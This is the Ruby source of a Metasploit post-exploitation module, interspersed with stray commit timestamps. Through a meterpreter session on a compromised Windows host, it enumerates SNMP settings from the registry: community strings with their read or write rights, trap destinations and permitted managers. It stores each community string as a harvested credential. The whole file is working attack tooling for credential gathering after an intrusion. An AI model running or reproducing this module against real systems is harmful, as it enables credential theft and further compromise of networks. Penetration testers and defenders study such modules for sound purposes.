2011-01-12 23:22:41 +00:00
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##
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# ## This file is part of the Metasploit Framework and may be subject to
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2013-10-15 18:50:46 +00:00
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# Current source: https://github.com/rapid7/metasploit-framework
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2011-01-12 23:22:41 +00:00
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##
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require 'msf/core'
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require 'rex'
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2012-10-23 18:24:05 +00:00
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require 'msf/core/auxiliary/report'
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2011-01-12 23:22:41 +00:00
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class Metasploit3 < Msf::Post
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2013-08-30 21:28:54 +00:00
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include Msf::Post::Windows::Registry
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include Msf::Auxiliary::Report
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather SNMP Settings Enumeration (Registry)',
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'Description' => %q{ This module will enumerate the SNMP service configuration },
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'License' => MSF_LICENSE,
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'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'Tebo <tebo[at]attackresearch.com>'],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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# Run Method called when command run is issued
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def run
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print_status("Running module against #{sysinfo['Computer']}")
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if check_snmp
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community_strings
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trap_setup
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end
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end
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# Method for Checking if SNMP is installed on the target host
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def check_snmp
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print_status("Checking if SNMP is Installed")
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key = "HKLM\\System\\CurrentControlSet\\Services"
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if registry_enumkeys(key).include?("SNMP")
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print_status("\tSNMP is installed!")
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return true
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else
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print_error("\tSNMP is not installed on the target host")
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return false
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end
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end
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# Method for enumerating the Community Strings configured
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def community_strings
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comm_str = []
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tbl = Rex::Ui::Text::Table.new(
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'Header' => "Comunity Strings",
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'Indent' => 1,
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'Columns' =>
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[
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"Name",
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"Type"
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])
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print_status("Enumerating community strings")
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key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities"
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comm_str = registry_enumvals(key)
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if not comm_str.nil? and not comm_str.empty?
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comm_str.each do |c|
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case registry_getvaldata(key,c)
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when 4
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comm_type = "READ ONLY"
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when 1
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comm_type = "DISABLED"
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when 2
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comm_type = "NOTIFY"
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when 8
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comm_type = "READ & WRITE"
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when 16
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comm_type = "READ CREATE"
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end
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# Save data to table
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tbl << [c,comm_type]
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# Save Community Strings to DB
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report_auth_info(
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:host => session.sock.peerhost,
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:port => 161,
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:proto => 'udp',
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:sname => 'snmp',
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:user => '',
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:pass => c,
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:type => "snmp.community",
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:duplicate_ok => true
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)
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end
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print_status("")
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# Print table
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tbl.to_s.each_line do |l|
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print_status("\t#{l.chomp}")
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end
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print_status("")
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# Check who can connect using the Community Strings
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allowd_for_snmp_query
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else
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print_error("\tNo Community strings configured")
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end
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end
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# Method for enumerating the Traps configured
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def trap_setup
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print_status("Enumerating Trap Configuration")
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key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\TrapConfiguration"
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trap_hosts = registry_enumkeys(key)
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if not trap_hosts.nil? and not trap_hosts.empty?
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trap_hosts.each do |c|
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print_status("Community Name: #{c}")
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session.framework.db.report_auth_info(
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:host => session.sock.peerhost,
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:port => 161,
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:proto => 'udp',
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:sname => 'snmp',
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:user => '',
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:pass => c,
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:type => "snmp.community",
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:duplicate_ok => true
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)
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t_comm_key = key+"\\"+c
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registry_enumvals(t_comm_key).each do |t|
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print_status("\tDestination: " + registry_getvaldata(t_comm_key,t))
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end
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end
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else
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print_status("No Traps are configured")
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end
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end
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# Method for enumerating Permitted Managers
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def allowd_for_snmp_query
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print_status("Enumerating Permitted Managers for Community Strings")
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key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\PermittedManagers"
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managers = registry_enumvals(key)
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if not managers.nil? and not managers.empty?
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print_status("Community Strings can be accessed from:")
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managers.each do |m|
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print_status("\t#{registry_getvaldata(key,m)}")
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end
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else
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print_status("\tCommunity Strings can be accessed from any host")
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end
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end
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2011-02-25 21:00:33 +00:00
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end
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